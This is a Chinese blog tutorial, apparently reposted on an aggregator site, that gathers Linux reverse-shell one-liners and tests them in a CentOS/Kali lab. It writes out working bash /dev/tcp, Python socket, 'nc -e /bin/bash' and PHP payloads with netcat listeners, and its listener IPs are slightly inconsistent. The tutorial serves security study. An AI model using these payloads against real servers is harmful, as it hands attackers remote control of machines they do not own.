Linux下反弹shell几种方法学习总结
什么是反弹shell?
简单理解,通常是我们主动发起请求,去访问服务器(某个IP的某个端口),比如我们常访问的web服务器:
http(https)://ip:80
,这是因为在服务器上面开启了80端口的监听,我们去访问它的时候,就会给我们建立连接。而现在所谓的反弹shell
指的是反过来在我们自己的公网vps建立监听,然后让服务器反弹一个shell来连接我们自己的主机,然后我们就能通过反弹的shell去远程控制服务器了。那么关键是怎么做了?今天我也向大佬学习学习总结总结,不足之处还望多多包含。
实验环境
CentOS 7: 192.168.0.147 kali 2.0: 192.168.0.146
方法1:使用linux命令反弹shell
反弹shell命令格式如下:
bash -i >& /dev/tcp/ip/port 0>&1
- 首先在kali上使用
nc
监听7777
端口
root@kali:~# nc -lvp 7777
- 然后再CentOS 7下执行以下命令:
[root@localhost ~]# bash -i >& /dev/tcp/192.168.1.146/7777 0>&1
- 执行完命令之后再回到kali机器上面查看,可以看到shell成功反弹,这时候我们就能对服务器进行远程操控了
方法2:使用python反弹shell
反弹shell命令格式如下:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
- 同理,首先在kali上使用
nc
监听7777
端口
root@kali:~# nc -lvp 7777
- 然后再CentOS 7下执行以下命令:
[root@localhost ~]# python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.1.146',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
- 然后返回kali查看发现也可以成功反弹shell,如下所示:
方法3:使用nc
反弹shell,前提这自然是反弹shell的服务器安装有nc
才行
- 首先查看是否安装了
nc
,我这里已经安装的有了,如下图所示,如果没安装的还请自行百度解决。
- 然后下一步还是在我们kali上面监听端口。
root@kali:~# nc -lvp 7777
- 最后在CentOS上面使用nc反弹shell到kali,命令如下:
[root@localhost ~]# nc -e /bin/bash 192.168.1.146 7777
- 执行完命令之后,返回kali可看到反弹shell成功,并可以执行命令对服务器进行操作,如下图所示:
方法4:使用php反弹shell
1).首先最简单的一个办法,就是使用php
的exec
函数执行方法1反弹shell的命令
- 第一步还是在kali上面监听端口
root@kali:~# nc -lvp 7777
- 然后在CentOS执行以下命令:
[root@localhost ~]# php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.1.146/7777");'
- 最后我们回到kali上面查看,即可看到成功反弹的shell
2).使用php
的fsockopen
去连接远程
命令格式如下:
php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'
- 第一步在kali上面监听端口
root@kali:~# nc -lvp 7777
- 然后在CentOS执行以下命令:
[root@localhost ~]# php -r '$sock=fsockopen("192.168.1.146",7777);exec("/bin/bash -i <&3 >&3 2>&3");'
- 最后在kali上可以看到成功反弹shell
低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
9月4日云栖精选夜读 | 初学者的问题:在神经网络中应使用多少隐藏层/神经元?(附实例)
人工神经网络(ANNs)初学者可能会问这样的问题: ● 该用多少个隐藏层?● 每个隐藏层中有多少个隐藏的神经元?● 使用隐藏层/神经元的目的是什么?● 增加隐藏层/神经元的数量总能带来更好的结果吗?很高兴我们可以回答这些问题。 热点热议 独家 | 初学者的问题:在神经网络中应使用多少隐藏层/神经元?(附实例) 作者:技术小能手 发表于:数据派THU 网络技术日新月异,网络架构师工作又在如何演变? 作者:技术小能手 发表于:SDNLAB 用互联网大脑模型分析滴滴的战略意图和战术失误 作者:技术小能手 发表于:人工智能观察 知识整理 深度学习笔记5:正则化与dropout 作者:技术小能手 发表于:Python爱好者社区 开源之道(上) 作者:技术小能手 发表于:Linux宝库 干货 | 加速AI发展!一文了解GPU Computing 作者:技术小能手 发表于:人工智能观察 从壹开始前后端分离 [ Vue2.0+.NET Core2.1] 十五 ║ Vue前篇:JS对象&字面量&this 作者:laozhang_is_phi Java 多线程 之 interrupt中断 ...
- 下一篇
【译】如何更好的使用javascript数组
赶紧阅读读此文,我保证,在过去的几个月里我,我确定我在数组问题上犯过4次错误。于是我写下这篇文章,阅读这篇文章可以让你更准确的使用javascript数组的一些方法 使用Array.includes替代 Array.indexOf “如果你在数组中搜索某个元素,那么请使用Array.indexOf” ,我记得在学习javascript时看到过这个句子,毫无疑问,这句话很对。 MDN文档上这样描述 rray.indexOf“返回第一个被搜索到的元素的下标(索引)” ,所以如果你想要搜索某个元素的下标,那么Array.indexOf可以很好的解决。 但是,如果我们想查看一个数组中是否包涵某个元素该如何做呢。就像yes/no这样的问题,也就是布尔值。这里我们推荐使用返回布尔值的Array.includes方法。 const persons = ["jay","leinov","jj","nico"]; console.log(persons.indexOf("leinov")); // 1 console.log(persons.indexOf("beyond")); // -1 conso...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
推荐阅读
最新文章
- CentOS7,8上快速安装Gitea,搭建Git服务器
- CentOS6,7,8上安装Nginx,支持https2.0的开启
- CentOS关闭SELinux安全模块
- SpringBoot2初体验,简单认识spring boot2并且搭建基础工程
- CentOS8编译安装MySQL8.0.19
- SpringBoot2整合MyBatis,连接MySql数据库做增删改查操作
- CentOS8安装MyCat,轻松搞定数据库的读写分离、垂直分库、水平分库
- CentOS8安装Docker,最新的服务器搭配容器使用
- CentOS7,CentOS8安装Elasticsearch6.8.6
- Red5直播服务器,属于Java语言的直播服务器